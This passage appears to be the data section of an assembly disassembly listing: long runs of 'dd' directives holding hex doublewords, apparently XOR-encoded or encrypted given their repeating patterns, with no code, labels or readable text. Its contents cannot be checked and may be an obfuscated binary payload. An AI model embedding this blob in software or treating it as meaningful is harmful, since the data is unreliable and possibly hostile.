		dd 6644379Bh, 0E88E8815h, 0E77716A2h, 776D6D3h,	0E84BE2EAh
		dd 66223219h, 6617B31Ah, 0E4873215h, 66443215h,	0C332B79Ch
		dd 0E91E3403h, 66883200h, 664422FCh, 0F06CC015h, 6FB10DF3h
		dd 31117880h, 23B3B247h, 9BA7F49Ch, 39173D31h, 0DFEE5275h
		dd 76AD87FBh, 78223215h, 12DE69Dh, 4BF5EF83h, 9A6E50BBh
		dd 7DA8AA2h, 66923D75h,	8F883215h, 6644321Ch, 0E4924E83h
		dd 0F8784615h, 8FE95369h, 6644321Ch, 15B57379h,	0B0F697AAh
		dd 4EC05A50h, 99B1E306h, 693ED7A0h, 619D3D13h, 69883215h
		dd 6644339Dh, 0E3AFC715h, 601E08ADh, 94095475h,	0EB4B7031h
		dd 66223200h, 661122FCh, 0B59E9115h, 0AE0166C4h, 53D75D49h
		dd 4634E21Ch, 0B6775378h, 0E722CB75h, 713F4D3h,	0C305B79Ch
		dd 72613403h, 3443215h,	20BA33FBh, 0A28C64Ah, 0BBF33A51h
		dd 261B0065h, 6971E9C6h, 66113395h, 62E2CE15h, 66443EFCh
		dd 0E61C8C15h, 7A988536h
		dd 0E430A323h, 76445AADh, 0E72D3215h, 6611321Dh, 668AB01Ah
		dd 7243215h, 76225AECh,	6CF83215h, 0A7883215h, 0CD37D1AAh
		dd 32E18778h, 931158AAh, 45F5A7EAh, 0EB4B341Ah,	66223214h
		dd 0E398CAECh, 608719E4h, 93C1BFEDh, 9E242467h,	76F8E2EAh
		dd 0B6883215h, 686B0C92h, 3C353B07h, 5859F219h,	0C97157Fh
		dd 74CE3D11h, 69223215h, 66113E92h, 668FDB15h, 0F9C3215h
		dd 93EB748Fh, 6619DB7Ah, 44223215h, 7E85C6B2h, 664AFEC1h
		dd 8F113205h, 66883205h, 3C7DE8D8h, 0D6DDC24Bh,	0F40B10DAh
		dd 4AAA13F9h, 6664327Dh, 6648CE15h, 661BBE1Ah, 0DEE83215h
		dd 6977BC26h, 7E5B973h,	456CA7EAh, 0EF74341Ah, 69775390h
		dd 0E3ABCB13h, 601E15DCh, 668FB31Ah, 0ED4B3215h, 66223214h
		dd 65158EDh, 41851Ah, 0E25F19Eh, 66222215h, 6619B91Ah
		dd 0EB873215h, 66443217h, 664A5375h, 6113315h, 0CE92BA0h
		dd 67CC3D15h, 9E223215h, 456CA7EAh, 69E8341Ah, 6644309Bh
		dd 69786015h, 66112B9Bh, 669CDB15h, 5BC93215h, 0C453BD71h
		dd 0F44F5E3Eh, 0D6EE6DFDh, 842E39D9h, 0EF43B248h, 6905EF90h
		dd 6685DB13h, 0F8AA3215h, 0B14B7D4Eh, 355AFE65h, 0EDE40572h
		dd 6957A3A0h, 0FBA9CE13h, 601E2EBCh, 0B9035475h, 0AC7FB3AFh
		dd 0D3AB533Ch, 601E01A4h, 6687DB75h, 0BDFD3215h, 68233EC4h
		dd 5F3E4D59h, 6EA0BD30h, 66C73D6Ah, 7223215h, 61C0AF9Ch
		dd 0ED70341Ah, 69589B88h, 662ADB13h, 22823215h,	0CE17AD4h
		dd 0DE14EF3Dh, 66223215h, 6E9AEA14h, 0E7AC369Eh, 664436D1h
		dd 8EDA5215h, 6611321Ah, 78EC74CAh, 536B19B6h, 18BFD22Eh
		dd 8E84F648h, 6688321Bh, 0A3C4E8Bh, 9F83D160h, 693A714Ch
		dd 3DD39134h, 9ECF5274h, 66A43D75h, 113215h, 7E9F89Eh
		dd 6944CB96h, 66181C91h, 661ADB15h, 6E473215h, 0B2648489h
		dd 15351AC1h, 4B7B5A2Ah, 62013215h, 6CC43D31h, 8F223215h
		dd 66113210h, 1FD31256h, 2B035A87h, 6AAB3215h, 8F71CA31h
		dd 66883219h, 0B3C2EBF5h, 0B8D3C3CFh, 0BE95A106h, 6683B81Ah
		dd 69243215h, 0ED2DE3A2h, 66113215h, 8F480374h,	66443219h
		dd 99B85A85h, 0B725A32Fh, 0E76F9422h, 4011B79Ch, 6ECB341Ah
		dd 39113215h, 0D136AC4Eh, 35F12B2Fh, 661E8C43h,	95983215h
		dd 3D56BB4Bh, 664FB81Ah, 60CB3215h, 3D113215h, 0C3A0B0DDh
		dd 70C13D6Fh, 8F223215h, 66113204h, 0CF3AA6AAh,	203D55A0h
		dd 1216DC7Bh, 6AB3AA78h, 0E53361BDh, 0E7145C4Bh, 324A27E6h
		dd 3DCF1B05h, 46AC4616h, 50D2F494h, 42722Fh, 699E13AAh
		dd 66883198h, 0FB3B215h, 8F8F5474h, 66113212h, 41677563h
		dd 4B9D815Fh, 2FFB2C44h, 7003CA10h, 42CC310Bh, 74BC1F35h
		dd 37272C03h, 6958EB0Bh, 66883393h, 16BBCB15h, 819F676Dh
		dd 5731BC43h, 3B8C1679h, 81B2B34Bh, 9A02BC43h, 2CBB8A45h
		dd 86490313h, 65ACF313h, 6644C918h, 4B597260h, 4F8453E5h
		dd 651CF414h, 0E7021661h, 400739FBh, 669ADB41h,	69623215h
		dd 0D46158E7h, 6283907Bh, 61414A5Ah, 0C4F190B6h, 0E73A44EAh
		dd 10A71621h, 5A035664h, 6280B131h, 1094C594h, 6AF85664h
		dd 0C2883215h, 53B42D5h, 7465B168h, 0EFEB325Dh,	69AE4BA8h
		dd 99C1C713h, 661AB71Ah, 0E7713215h, 0BC0EFD4h,	76CE3D25h
		dd 8F223215h, 6611321Eh, 1ADD39B8h, 4809DCECh, 76C9106h
		dd 667110FDh, 4D61CA15h, 69443210h, 66223A9Fh, 64913D15h
		dd 6883215h, 0A32CCE74h, 0EF22327Ch, 0EED1619h,	668802FEh
		dd 3C600E9Ch, 62F059E9h, 6603BE1Ah, 6B613215h, 3D443215h
		dd 0CE927044h, 2390D180h, 53FA8B46h, 21FA5475h,	6624DBF9h
		dd 33423215h, 1C748DE1h, 0E3D1BB74h, 69243D1Ch,	66113E92h
		dd 600F3D15h, 69443215h, 66223295h, 93155815h, 6698327Dh
		dd 61AD5215h, 28223215h, 5AD99753h, 0D9878E0Eh,	842C53D6h
		dd 0EF223275h, 0CED1601h, 6685DB15h, 709F3215h,	845086CEh
		dd 0F2A1ACC0h, 992AB698h, 69674F80h, 75A43D13h,	8F113215h
		dd 6688321Bh, 0B78670EEh, 0DA96FF20h, 0D57AB2A3h, 0E301ECBDh
		dd 604B037Ch, 8AA3C7ECh, 66113211h, 3CAC369Ch, 664426FCh
		dd 0F14A3115h, 0F0C21FD5h, 8C074544h, 7E3F1738h, 0E8082Bh
		dd 4225CDE0h, 624CB34Ch, 6443215h, 64AD3DE0h, 0D3113215h
		dd 7A605325h, 6944324Ah, 66223B99h, 0E7775215h,	0D1F47EC6h
		dd 245333h, 8FDAB4AEh, 66113205h, 0DA19C0A1h, 20438468h
		dd 0BD768DC9h, 0E389C37h, 6264B374h, 0EF443215h, 8F421621h
		dd 6611321Ch, 37E3BC7Dh, 8389FEE7h, 0A09D3D80h,	76F89F74h
		dd 1A883215h, 0F55EDFC2h, 266BE828h, 324A7F08h,	4BF0D542h
		dd 109070FFh, 0E72FE938h, 4255316Fh, 6B533731h,	8C414894h
		dd 6954E657h, 66113397h, 6D61CA15h, 0F8443215h,	0E5C25386h
		dd 0E4853DEDh, 9EB99DE9h, 9E75F524h, 6623BF1Ah,	0E5E43215h
		dd 5A0136F9h, 35B16931h, 0A5A3D19Ch, 66113211h,	0E18CD996h
		dd 0EF181609h, 69DB1629h, 66113B9Ch, 0E7EE5215h, 0D4AC64FDh
		dd 0A6125355h, 9B649CE0h, 668820FCh, 0A713EC15h, 58DAEE8Ch
		dd 4258740Fh, 0AB629D16h, 69F1D2B6h, 66223E93h,	60923D15h
		dd 69883215h, 66443295h, 4216B915h, 0E7F6BB42h,	668836D2h
		dd 6283B315h, 0E1223215h, 8F4D1629h, 6688321Ch,	69618B39h
		dd 13149AEEh, 0A7FEB3E0h, 4FF56A1Eh, 24FC62CAh,	6B4CB928h
		dd 300866D6h, 63C8E2E2h, 9DB7BB91h, 697AF514h, 66113397h
		dd 0EFDBCA15h, 6287B3F6h, 0E5223215h, 7A9636FEh, 72016E31h
		dd 6CADCE31h, 46223215h, 121B7448h, 0FB6D77FEh,	0DE1465C4h
		dd 40FE759Bh, 6235763Ch, 0A409684Dh, 4098759Bh,	662223FCh
		dd 481015h, 0A29216CFh,	0A79239CDh, 0A87C027Fh,	0DB9A06CCh
		dd 608719E4h, 664EBE1Ah, 69423215h, 66113296h, 7BF8315h
		dd 99BBCDACh, 6630DBEAh, 95C73215h, 21574397h, 324DE35Bh
		dd 11DF9728h, 28116E5Eh, 0E287F224h, 66443206h,	66223CFCh
		dd 67C95815h, 70DB7E37h, 24B72496h, 0E55F1A1Fh,	7A9836F9h
		dd 66888931h, 95453215h, 8F79319Fh, 66113218h, 6FDBA70Dh
		dd 7C4D4D83h, 0B1551B22h, 8FD9026Bh, 6688321Eh,	0A2482C82h
		dd 327198CFh, 35C7D39Ah, 668833AEh, 3D9A3315h, 662239FCh
		dd 0EE5D8315h, 0FA63FF37h, 5171B15Eh, 0E7A506EAh, 60DA1639h
		dd 37D01B96h, 0CB529CACh, 0B3EBB34Fh, 0E754FD5Ch, 189627D4h
		dd 0E79DC53Fh, 77A515E4h, 3FD93349h, 6699B31Ah,	6AAD3215h
		dd 82223215h, 0C6CF5EBEh, 0B36F586Bh, 0A7390714h, 8F423AFCh
		dd 6611321Ah, 1D879702h, 9CEE99EFh, 16A48831h, 69921790h
		dd 6688309Ah, 78AB915h,	6942F324h, 66113496h, 660D3D15h
		dd 0ED443215h, 696853E5h, 99EE2D90h, 68043DEAh,	8F443215h
		dd 6622321Ch, 0F4A9B379h, 0F4B6F267h, 0ADCD619Dh, 7AA9EA9Ch
		dd 62D5B131h, 668821FCh, 48843015h, 50BD9FDh, 5D11F12h
		dd 0F7242919h, 0DDAA8DC3h, 72D56087h, 69836831h, 66883C92h
		dd 664DDB15h, 0D1723215h, 61161FB9h, 99F3B394h,	0E71E1621h
		dd 662236D1h, 8A90CE15h, 66883211h, 0EF602E9Ch,	3D38BBD6h
		dd 66113AFCh, 0EF4CE315h, 34975B66h, 62996131h,	67113215h
		dd 4294B9CFh, 6640F694h, 423215h, 6CF8EB9Eh, 0D9883215h
		dd 0F2386832h, 5EBBD76Ch, 9F79531Dh, 0EF883251h, 0D9241601h
		dd 26998C11h, 8BC2B373h
		dd 99745336h, 69626790h, 0EC745213h, 3DAE68CFh,	7B9BD38h
		dd 4011A79Eh, 0ED2D341Ah, 6611321Dh, 668AB31Ah,	7243215h
		dd 405BA72Ch, 0E21E341Ah, 66883276h, 66443DFCh,	9DEA7815h
		dd 76093F56h, 0CA476855h, 25C4ACF0h, 3306269Eh,	0A390D79Ch
		dd 66883211h, 6640F794h, 4AA53215h, 99E96E31h, 0E7D61621h
		dd 664436D1h, 0DD71CA15h, 66113211h, 7A03EC14h,	6280B331h
		dd 9F223215h, 6610BE1Ah, 8F743215h, 99BBCE4Ch, 85A35475h
		dd 0ED1ED195h, 66883217h, 99255375h, 0E7781621h, 661136D1h
		dd 705215h, 0DE62FB94h,	6628DB74h, 0A9923215h, 9F2ED3AAh
		dd 301BAA75h, 3706069Eh, 0A790D39Ch, 66883211h,	0E140F396h
		dd 8F7E1619h, 66113218h, 626BB0F0h, 0D8D3D46Bh,	0B0AD011Bh
		dd 0ED775248h, 69E953E5h, 6644229Ch, 6629DB15h,	0F0933215h
		dd 2EAD1A17h, 482DD678h, 4216CDE2h, 62D5B14Ch, 668838FCh
		dd 0CC84AC15h, 527AC234h, 990A3B1Bh, 0E5D01621h, 8F2436D1h
		dd 66223218h, 7DFD3E33h, 0D9FEC859h, 0C10B4B5Bh, 0C79B540Eh
		dd 0A1E453EBh, 699DFF90h, 66443213h, 0E22DC715h, 6611321Bh
		dd 66883BFCh, 0BC467A15h, 189FB7ADh, 0E3D6C268h, 608733F4h
		dd 66443215h, 6623B31Ah, 0E5ED3215h, 702C4EA8h,	0E24B3213h
		dd 66223252h, 66113DFCh, 773ABE15h, 21B0427h, 0A55286B4h
		dd 8AD63D34h, 0C957AF98h, 36243400h, 6622BC1Ah,	694A3215h
		dd 66883D99h, 664DDA15h, 6DBD3215h, 529B03CAh, 39787165h
		dd 8F97CD74h, 66223212h, 0D6A803F9h, 998653ACh,	69682390h
		dd 0DBA1CB13h, 601E1E04h, 0BB0A3D71h, 9E443217h, 4A33B7D2h
		dd 6610341Ah, 31E83215h, 1CFC544Ah, 6425348h, 6614B81Ah
		dd 15313215h, 0DF1303E9h, 348522A2h, 1C94BF74h,	938E2467h
		dd 8F94CDECh, 6622321Eh, 7E44ADABh, 8B62FD1Dh, 0EB006E7Ah
		dd 70877EA0h, 0D91E5213h, 0B60954D5h, 0EB25A024h, 710CF0A8h
		dd 6601DB13h, 3D533215h, 642FD3FFh, 0BCD3877Eh,	9AC8B4C0h
		dd 0A109D759h, 1CA02D51h, 0DD71C53Ch, 40694B23h, 8D49E9E2h
		dd 0F3AFB316h, 4F827EC4h, 0E81E69CAh, 66883209h, 6655DB75h
		dd 80083215h, 0CCAAE8Eh, 3E951F07h, 5A1914CEh, 71104Bh
		dd 74C90ABh, 66AABE7Dh,	4278BB15h, 0D2061E94h, 3C1F5002h
		dd 713CF094h, 0EF4B3C77h, 66223207h, 66113FFCh,	9CF68215h
		dd 7844BEC5h, 286BD2B2h, 0DB9A02F6h, 608719E4h,	6665BE1Ah
		dd 69423215h, 6611329Eh, 669CDB15h, 0E20F3215h,	0DF39D545h
		dd 671425FFh, 82B0B7D0h, 0CD547B9Fh, 8F4340DDh,	66113204h
		dd 7038822Fh, 0AF0C1307h, 0F36FEDA2h, 898DDDA3h, 99778BF7h
		dd 69ADCDEAh, 79223215h, 0CAB99305h, 5DF0B339h,	6FF2D5D0h
		dd 0ED4240C6h, 6614DBCFh, 261E3215h, 771B2B5h, 9FDEF224h
		dd 66AC6747h, 0EF883215h, 94456FFFh, 8F78309Fh,	6611321Dh
		dd 90D1E02Dh, 0FD2B1077h, 66223AFCh, 0EB652615h, 5BDBBBF1h
		dd 698C020Fh, 66223595h, 679A3D15h, 9E883215h, 66458D42h
		dd 98233215h, 661EDB4Ah, 17173215h, 0BD081847h,	785901AFh
		dd 12DE69Dh, 0E1BCCD83h, 56603694h, 0ED74D022h,	0A2901611h
		dd 66883211h, 84730238h, 0ED445243h, 0E11E52CFh, 66883215h
		dd 66443EFDh, 43E16615h, 8D03A224h, 0AD5A70FEh,	7256B6Bh
		dd 6ECBF3ECh, 661EB21Ah, 6C613215h, 26443215h, 0C661922Ch
		dd 0A06C3E78h, 694903CCh, 66443394h, 6968CB15h,	99EE7590h
		dd 6C0D3DEAh, 6443215h,	3D74C394h, 0A89A04F9h, 6264B374h
		dd 0EF443215h, 697A1619h, 6611379Ch, 0EDEE5215h, 0E11453EDh
		dd 0B0D51621h, 3E350692h, 6689BF1Ah, 5FB83215h,	69390F90h
		dd 1D953D13h, 69883215h, 6644339Ah, 769ACA15h, 2676D467h
		dd 268CD2D4h, 9145DA96h, 473237CDh, 0E81E4C72h,	66883214h
		dd 698439E9h, 66221A90h, 0ED775215h, 669ADBDBh,	0B72C3215h
		dd 0ED9CB816h, 9D4FD588h, 0A2675C1Ch, 69F6B80Ah, 0D7A7F574h
		dd 67173D3Eh, 9E883215h, 6BF967E0h, 0E72FB61Eh,	9863E4E0h
		dd 4730620Ch, 4F507B35h, 8F236AD0h, 92915248h, 668FDBBAh
		dd 37863215h, 37D88B1Eh, 697053C6h, 66883398h, 0E34BCB15h
		dd 6622320Dh, 6603B41Ah, 6B613215h, 1C443215h, 9231CB9Eh
		dd 74CC4FD8h, 20E85563h, 675E5A42h, 0E77D41D7h,	2A127FE2h
		dd 4867B362h, 0E75CC65Ah, 0CA5C79DAh, 0F9A86342h, 91B3401Fh
		dd 76B5B3CCh, 0E7756A3Fh, 3434F1D4h, 2D41B318h,	0E7663140h
		dd 0B5CC1BE4h, 3FDE3399h, 8FD7CB9Ch, 66443213h,	4FA2B66Eh
		dd 0D946406Fh, 5D2905E6h, 10452B7Dh, 9C13683Ch,	0EC1EC74Ah
		dd 66883218h, 66443AFCh, 90DC0415h, 170E23BCh, 0E89FC7h
		dd 3BA1E394h, 0D797BB74h, 69173D26h, 66883E90h,	60CB3D15h
		dd 69223215h, 6611329Bh, 9ACEF515h, 26701E5Fh, 0E7DE74EAh
		dd 5ADCCE53h, 20094B1Dh, 0A5D2DAE9h, 881FC753h,	69FFDCFBh
		dd 6688AD90h, 664BDB15h, 0C9053215h, 0B5BDAF3Bh, 4A6F3992h
		dd 0CB56D867h, 0BB1CB35Ah, 69CCEFC8h, 66884D90h, 0EC4B5215h
		dd 66223211h, 9C418973h, 377153EDh, 48E88D42h, 0CA9B0FC7h
		dd 4F2CE03Bh, 68016DECh, 6648DB4Ch, 70733215h, 7B3998D4h
		dd 9E2B17F0h, 0DD17AA3Ah, 66223211h, 7E2BF494h,	0B889243Fh
		dd 7E7EDC94h, 679243Fh,	69EF8D1Ah, 66883C92h, 664CDA15h
		dd 1A443215h, 0B1753775h, 7D3F310h, 55F5879Ch, 8FDA341Ah
		dd 66111EE8h, 0E7EEC775h, 7877AF4h, 99DC85FCh, 0D91E52EAh
		dd 771B9CEh, 6664A97Dh,	4226BB15h, 0C353694h, 3D875C2Dh
		dd 5E2ED994h, 8F423D7Bh, 6611321Eh, 5383FFD7h, 5CF0115Ah
		dd 5FCEEDh, 5570EC9Eh, 69A38390h, 61CF3D13h, 6223215h
		dd 0D11E6C46h, 0A77D53C3h, 2431DDh, 8F43F19Eh, 6611321Ah
		dd 0E2970C62h, 0E1E7A821h, 0B2E0E5CEh, 335B85DBh, 81F7D6A8h
		dd 7F81B314h, 9158553Ch, 0B6D4B3C8h, 91B8F700h,	2581B3C0h
		dd 0E70A0644h, 8D84EAF8h, 3B601B5Dh, 0F141E23Ch, 608E05Bh
		dd 0E6D2B3EDh, 7F87452h, 9354F2D4h, 9F42FA24h, 50408A73h
		dd 0D715BB74h, 69423D3Eh, 66223F9Bh, 6619DB15h,	0E2463215h
		dd 0B0013020h, 6ECB3F5Eh, 0B6113215h, 573A5ECAh, 5BDD2912h
		dd 66233215h, 67AAB11Ah, 0EB873215h, 66443214h,	0DD1CB3EDh
		dd 69AA89AEh, 66899A90h, 76CF3D15h, 8F223215h, 6611321Eh
		dd 9A41FD28h, 51EF3FC9h, 31716245h, 427F2DAAh, 878EF560h
		dd 34CEE984h, 662232AFh, 67E33315h, 6D7682Fh, 0C7BCF594h
		dd 0D92D10D5h, 8A9253E4h, 42B4BB11h, 664436AAh,	39DC3315h
		dd 63993D75h, 0DD883215h, 26F91DCAh, 7F4851Ah, 55A0879Ch
		dd 0EE87341Ah, 66443212h, 6623B91Ah, 0EDE93215h, 69949B88h
		dd 94CF5213h, 0E711CD74h, 56F81611h, 6A0300EEh,	6280B131h
		dd 56CBDB94h, 0EB1E00EEh, 66883200h, 664422FCh,	933AEA15h
		dd 0AD46AAFDh, 0F6D648D8h, 0F4DC0F8Ch, 0E7726107h, 1E201611h
		dd 0E7D373B7h, 0C43C03FEh, 3DF8BB54h, 67152E9h,	749851Ah
		dd 795B973h, 4216B347h,	5A4641h, 0E5AC369Eh, 327136D1h
		dd 6447961h, 4D7066A5h,	69AEEB90h, 664BDB13h, 0E933215h
		dd 5FCC88B0h, 984A63CEh, 0E09284FFh, 67A33D91h,	93113215h
		dd 698AD2D4h, 66442F93h, 71A03D15h, 8F113215h, 66883207h
		dd 4ED0DF14h, 56F51BC2h, 0D11840B0h, 0B4BDE68Ah, 0E3472701h
		dd 602D11E0h, 66113AFCh
		dd 0E3294515h, 0DC6AF89h, 250B5A20h, 62983215h,	38D06431h
		dd 0E74B9FECh, 66223219h, 12608C75h, 0E7EE699Eh, 76128FFh
		dd 67568F40h, 8E385E3Dh, 63403348h, 0A6C3361h, 66223DFCh
		dd 7DC7E715h, 369798ABh, 9743051Dh, 0C0712E81h,	7A35769Ch
		dd 6687DB75h, 35EE3215h, 0B0C3BD41h, 0E863DADAh, 88D1E878h
		dd 11B4B2F8h, 8FDB5374h, 661130ACh, 668EB91Ah, 243215h
		dd 75A49ADh, 819865E0h,	668CF594h, 89C53215h, 66223211h
		dd 3A350E92h, 69AC3E9Ch, 66442899h, 74CB5215h, 3F113215h
		dd 3BD5934Ah, 0C9A3E6F4h, 0ED24877Bh, 0B190F750h, 0EE9C7CDh
		dd 6644736Fh, 8F06269Ch, 6611321Eh, 0C1F02F18h,	0FFCA147Fh
		dd 69B09886h, 66113F93h, 63605215h, 96443215h, 963C8154h
		dd 0AF20534Ah, 668837FCh, 1EB5F115h, 0F3A9041Eh, 601E037Ch
		dd 66883BFCh, 8407A815h, 7E26C729h, 642A9E94h, 6646B61Ah
		dd 0E54B3215h, 66223219h, 6614DB75h, 72433215h,	752A379h
		dd 66268C43h, 8C903215h, 32812DF4h, 0A4C5C014h,	322B2DF4h
		dd 6D983D4Bh, 8F883215h, 66443213h, 9D6DAFF6h, 0DE411CFDh
		dd 66883214h, 8F1CF314h, 66223205h, 0A0A9A712h,	912A37BBh
		dd 0FF1E80E2h, 0E816EA52h, 4068BF2Eh, 0E387341Ah, 99BBCD83h
		dd 0A89B5475h, 60903DF0h, 0E7883215h, 0D1BC0FDh, 0DB775349h
		dd 670F6B96h, 78D1B1ADh, 0EDAC1B14h, 0A2A11639h, 661CDB11h
		dd 756A3215h, 0DA324BA2h, 9D2F1E6Dh, 6DA0903h, 668DB21Ah
		dd 0BBFE3215h, 546B32h,	792CEACh, 2A2FBF98h, 24341Ah, 69213FAFh
		dd 6611379Fh, 1F4E8C15h, 99253226h, 6624DBF4h, 0FF963215h
		dd 0BF5645FFh, 4011BF9Ch, 0EDDA341Ah, 0EF461601h, 624FB3F2h
		dd 0E5443215h, 5AA536D2h, 0EB1E6E31h, 66883212h, 6645B61Ah
		dd 0EDDB3215h, 0EF421619h, 624BB3F6h, 0E7443215h, 662236D6h
		dd 420DB515h, 6685DB49h, 0AD693215h, 1641F616h,	285D7D8Dh
		dd 0E262DDDh, 66446B02h, 8F06069Ch, 66113213h, 6C90D5A2h
		dd 0FBCFC603h, 602D2EBCh, 5AAA5475h, 772B90Dh, 0C8FB6547h
		dd 0E761CA40h, 377AE5F2h, 0E067B37Ah, 0EF076254h, 0BC236DEFh
		dd 9E4B389Eh, 40DDB79Eh, 24341Ah, 7E66BACh, 8E71D2C4h
		dd 6688321Ch, 0E705DCB0h, 29726E2Eh, 3D705201h,	65E986A7h
		dd 695E9F90h, 6629DB13h, 1D273215h, 7B21D826h, 0C381D369h
		dd 67A33DE0h, 9E113215h, 5774C424h, 578203E5h, 67A03DE5h
		dd 9E113215h, 0E0879F73h, 66443214h, 64C2F3E9h,	661134FCh
		dd 0DC63B115h, 65338336h, 6901C790h, 8F715213h,	66883213h
		dd 472ED0Fh, 6FCB97F7h,	0E1113215h, 5C3B0F97h, 0C02AFC78h
		dd 7F2B974h, 0A020C224h, 0CB7DC224h, 6651B71Ah,	423215h
		dd 6DF8CB9Eh, 46883215h, 716CE6C1h, 37B50D66h, 34702F93h
		dd 52845FAFh, 3C94336Dh, 0B0FFA14h, 9F690619h, 42BCCDEDh
		dd 6280B14Bh, 0F9FB1E9h, 67173D04h, 6655B61Ah, 63AD3215h
		dd 5A223215h, 8BD6F446h, 7A6DBF2Eh, 0E24B341Ah,	662232D2h
		dd 66113EFCh, 0BE935A15h, 3B5B3FBDh, 0BAE9BA2Eh, 79C09A7h
		dd 698E3D0Fh, 66449891h, 72A83D15h, 8F113215h, 6688321Ah
		dd 48700A20h, 0D9A838C1h, 4F15D627h, 5DFB3B03h,	695A1798h
		dd 0E2A63D13h, 9F113215h, 670CAF98h, 0E34B3402h, 66223214h
		dd 8FC2CDE0h, 66883206h, 758D4ED0h, 7D9841D1h, 0D3160917h
		dd 1B7B1E0h, 365669F6h,	0BC060694h, 0ED710C7Bh,	0A20B1629h
		dd 0BCB3B311h, 69420C7Bh, 66113A9Dh, 64043D15h,	6443215h
		dd 0ABA7BB74h, 6173D14h, 668838FDh, 0D54B5F15h,	8D0C2799h
		dd 0E6F98AD2h, 8FD345F0h, 66443210h, 0B188D48Eh, 0C4F8532Eh
		dd 8F883234h, 6644321Eh, 0CCB20B45h, 4135DFC4h,	0EB0DE2BCh
		dd 7145B688h, 6633DB13h, 97363215h, 0CA3E32A1h,	4EBB2AB7h
		dd 4323570Dh, 99370F92h, 0E08752C6h, 66443215h,	0A1A35447h
		dd 7491AA3h, 77E18F96h,	6944341Ah, 66225991h, 6BF95215h
		dd 89883215h, 461BE01Bh, 9E3E732h, 1EE0F155h, 3E408D1Ah
		dd 783B973h, 91A35275h,	2EF44B4h, 66883AFCh, 6BD9DB15h
		dd 4175A657h, 5D705337h, 69B89B90h, 7DC03D13h, 6223215h
		dd 31D9B973h, 7D26943h,	4461B72Eh, 0E32D341Ah, 6611320Dh
		dd 0D187CE75h, 83AD53D2h, 8FDDCDEBh, 6611321Dh,	0C3DAC8E5h
		dd 66482849h, 711BB72Eh, 0E31E341Ah, 668832BDh,	0A4CF5475h
		dd 662235FDh, 4F5AE015h, 8BA55016h, 664439FCh, 5CC54B15h
		dd 21448E3Ch, 0BB6FD011h, 0E5B1534Dh, 69039FA8h, 0E21E3213h
		dd 6688325Fh, 66443DFCh, 8E328215h, 77CB47F8h, 0FD066ABFh
		dd 152FDF1h, 66538F96h,	6911341Ah, 66886591h, 6CAD5215h
		dd 70223215h, 5CD98E8h,	9ED7A8DDh, 0E5B4B2BEh, 0EF2D5274h
		dd 66113211h, 90DD8B73h, 0B8C55475h, 4F96CED3h,	0E39C5374h
		dd 609E493Ch, 0D92252ECh, 0ED44309Dh, 5BF853D2h, 8F77CDEBh
		dd 66443201h, 768B55B0h, 8748455Eh, 4231FFEDh, 0BCE35AE6h
		dd 4CA4363Eh, 7128B72Eh, 0E287341Ah, 99BBCC0Dh,	6628DBE9h
		dd 497C3215h, 26342C52h, 32D07B43h, 0C2428F96h,	69103403h
		dd 66888090h, 6656DB15h, 71403215h, 0E0F3EF58h,	0E4C1FDh
		dd 0B1E3E9E2h, 0AB4051FBh, 0C285B72Eh, 0E3873403h, 6644329Ah
		dd 6631DBE0h, 0A6783215h, 4A8A80DAh, 0EBFFD6Ah,	0A9C4D44Ah
		dd 809B89EDh, 820DBF6Eh, 69446B1Eh, 6622249Ah, 6AF85215h
		dd 9C883215h, 0CAA068EAh, 0ED228D3Dh, 1CD87Ah, 6E9E29Eh
		dd 0FB91B275h, 76DAC7ABh, 6DF95377h, 0C883215h,	0C2363C5Ah
		dd 0E24E4BF8h, 63F8A936h, 2B883215h, 2B732C85h,	0FECB534Fh
		dd 6EECDE8h, 6687DB47h,	0B1403215h, 0C7E3FDB0h,	0BB918ABAh
		dd 70AE7022h, 6DAD6D6Dh, 0B3223215h, 0B8E0C3CFh, 0BE0CA106h
		dd 5725BEDEh, 0E12D52EAh, 66113217h, 77DD89Fh, 664BBA1Ah
		dd 6CCB3215h, 0D0113215h, 46FA80CAh, 25C22D65h,	179FB1BBh
		dd 66173D38h, 77BCB61Ah, 0E04B3215h, 66223214h,	0E69409ECh
		dd 698E24B1h, 66440F90h, 67AE3D15h, 93113215h, 6DC9B79Eh
		dd 3524341Ah, 6622BD1Ah, 64F3215h, 7E96942h, 66458847h
		dd 0B1233215h, 6605DB4Fh, 95333215h, 0A70FF844h, 8A5ACE90h
		dd 0C78CC752h, 92134CA6h, 0E37F5D40h, 6034969Dh, 6637B71Ah
		dd 0EDE83215h, 0ABF68CDAh, 0ED436489h, 69016390h, 6680DB13h
		dd 7A5D3215h, 0D6207CB3h, 0DB44BFFDh, 66883214h, 9F19DD14h
		dd 0C2A6B72Eh, 0E31E3403h, 66883237h, 0F3C1B9E9h, 6243D1Ah
		dd 7EB8D1Ah, 66898A45h,	0A1453215h, 0B7A3524Dh,	67B4F1F7h
		dd 9CA95BAEh, 0E37F5377h, 60349699h, 6671B71Ah,	0EA873215h
		dd 66443206h, 66223CFCh, 84C33115h, 455DCB60h, 2F5EB1EFh
		dd 8F673695h, 6611321Bh, 535A0E24h, 0B0828295h,	0A4DB1A03h
		dd 0E39A7083h, 608718D4h, 66443BFCh, 9E1ADB15h,	7BA3D2FFh
		dd 0DED85962h, 66443214h, 8F7AF514h, 66113207h,	0CA0E1CE3h
		dd 0C6DA37C7h, 0F556402Bh, 0F61E0602h, 0E3B342B5h, 60529685h
		dd 6609B71Ah, 0EDED3215h, 69B91390h, 664FDB13h,	78B53215h
		dd 0CCCBF619h, 87076646h, 67FE60C3h, 67223215h,	60F868C2h
		dd 90883215h, 9C3832AFh, 0F2A70913h, 691724B1h,	66887590h
		dd 0E3CFC715h, 602D2850h, 661120FCh, 9D364815h,	5DA81EBCh
		dd 68701F4Ch, 0E1BC28CAh, 31ED3E60h, 99601E96h,	662DDB4Ah
		dd 3AAB3215h
		dd 0ECC54034h, 598C5C4Dh, 6606CA47h, 661BDB53h,	9C0C3215h
		dd 0DB792E6Bh, 0AC6DD473h, 0C289B72Eh, 0E3873403h, 66443252h
		dd 0E62D6175h, 66113215h, 0E128D4Dh, 0ED256251h, 6904D390h
		dd 661CDB13h, 5F313215h, 0DB37AF2Ah, 784D4D99h,	333FC8C1h
		dd 9977CDA8h, 3BAB1BEAh, 662220FCh, 0EFD05515h,	9F865623h
		dd 5E82E8ADh, 0E1C83BBAh, 5D62E36Dh, 702CAE90h,	2CC13D13h
		dd 69223215h, 66113890h, 0EDEE5215h, 5B068CE2h,	0ED43547Eh
		dd 690AEB90h, 669CDB13h, 48033215h, 75EB4ED0h, 7DAB41D1h
		dd 0D38F0917h, 17BB1E0h, 0DC7069F6h, 99EECDEAh,	9ED2E53Ch
